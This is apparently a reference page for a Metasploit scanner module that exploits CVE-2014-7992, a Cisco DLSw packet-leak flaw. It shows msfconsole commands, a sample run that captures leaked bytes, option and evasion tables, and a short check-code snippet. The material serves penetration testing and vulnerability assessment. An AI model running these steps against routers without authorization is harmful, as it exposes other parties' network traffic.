Cisco DLSw Information Disclosure Scanner - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/dlsw/dlsw_leak_capture metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Cisco DLSw Information Disclosure Scanner
Module: auxiliary/scanner/dlsw/dlsw_leak_capture
Source code: modules/auxiliary/scanner/dlsw/dlsw_leak_capture.rb
Disclosure date: 2014-11-17
Last modification time: 2017-08-26 21:01:10 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 2067
List of CVEs: CVE-2014-7992
This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/dlsw/dlsw_leak_capture
msf auxiliary(dlsw_leak_capture) > show options
... show and set options ...
msf auxiliary(dlsw_leak_capture) > set RHOSTS ip-range
msf auxiliary(dlsw_leak_capture) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(dlsw_leak_capture) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(dlsw_leak_capture) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(dlsw_leak_capture) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module implements the DLSw information disclosure retrieval. There is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains that allows an unauthenticated remote attacker to retrieve the partial contents of packets traversing a Cisco router with DLSw configured and active.
Verification Steps
- Start msfconsole
- Do:
use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
- Do:
set RHOSTS [ip]
- Do:
run
Scenarios
IOS version 12.4(8) and Kali Linux 2019.3
msf > use modules/auxiliary/scanner/dlsw/dlsw_leak_capture
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > set RHOSTS 192.168.0.1
RHOSTS => 192.168.0.1
msf auxiliary(scanner/dlsw/dlsw_leak_capture) > run
[*] 192.168.0.1:2067 - Checking for DLSw information disclosure (CVE-2014-7992)
[+] 192.168.0.1:2067 - Vulnerable to DLSw information disclosure; leaked 72 bytes
[*] 192.168.0.1:2067 - DLSw leaked data stored in /root/.msf4/loot/20191124231804_default_192.168.0.1_dlsw.packet.cont_518857.bin
[*] 192.168.0.1:2067 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/dlsw/dlsw_leak_capture auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/dlsw/dlsw_leak_capture
msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show info
Name: Cisco DLSw Information Disclosure Scanner
Module: auxiliary/scanner/dlsw/dlsw_leak_capture
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-11-17
Provided by:
Tate Hansen
John McLeod
Kyle Rainey
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LEAK_AMOUNT 1024 yes The number of bytes to store before shutting down.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 2067 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
This module implements the DLSw information disclosure retrieval.
There is a bug in Cisco's DLSw implementation affecting 12.x and
15.x trains that allows an unauthenticated remote attacker to
retrieve the partial contents of packets traversing a Cisco router
with DLSw configured and active.
References:
https://nvd.nist.gov/vuln/detail/CVE-2014-7992
https://github.com/tatehansen/dlsw_exploit
Module Options
This is a complete list of options available in the scanner/dlsw/dlsw_leak_capture auxiliary module:
msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show options
Module options (auxiliary/scanner/dlsw/dlsw_leak_capture):
Name Current Setting Required Description
---- --------------- -------- -----------
LEAK_AMOUNT 1024 yes The number of bytes to store before shutting down.
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 2067 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/dlsw/dlsw_leak_capture auxiliary module:
msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show advanced
Module advanced options (auxiliary/scanner/dlsw/dlsw_leak_capture):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/dlsw/dlsw_leak_capture module can do:
msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/dlsw/dlsw_leak_capture auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/dlsw/dlsw_leak_capture) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
No response
Here is a relevant code snippet related to the "No response" error message:
52: def check_host(_ip)
53: print_status("Checking for DLSw information disclosure (CVE-2014-7992)")
54: response = get_response
55:
56: if response.blank?
57: vprint_status("No response")
58: Exploit::CheckCode::Safe
59: elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"
60: vprint_good("Detected DLSw protocol")
61: report_service(
62: host: rhost,
Go back to menu.
Related Pull Requests
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #4229 Merged Pull Request: Add DLSw leak capture module for CVE-2014-7992
References
See Also
Check also the following modules related to this module:
- auxiliary/server/capture/printjob_capture
- auxiliary/server/capture/drda
- auxiliary/server/capture/ftp
- auxiliary/server/capture/http
- auxiliary/server/capture/http_basic
- auxiliary/server/capture/http_javascript_keylogger
- auxiliary/server/capture/http_ntlm
- auxiliary/server/capture/imap
- auxiliary/server/capture/mssql
- auxiliary/server/capture/mysql
- auxiliary/server/capture/pop3
- auxiliary/server/capture/postgresql
- auxiliary/server/capture/sip
- auxiliary/server/capture/smb
- auxiliary/server/capture/smtp
- auxiliary/server/capture/telnet
- auxiliary/server/capture/vnc
- post/android/capture/screen
- post/osx/capture/keylog_recorder
- post/osx/capture/screen
- post/windows/capture/keylog_recorder
- post/windows/capture/lockout_keylogger
- exploit/windows/browser/ie_setmousecapture_uaf
- auxiliary/scanner/http/http_sickrage_password_leak
- auxiliary/scanner/http/oracle_demantra_database_credentials_leak
- auxiliary/gather/browser_lanipleak
- auxiliary/gather/fortios_vpnssl_traversal_creds_leak
- auxiliary/server/ms15_134_mcl_leak
Authors
- Tate Hansen
- John McLeod
- Kyle Rainey
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.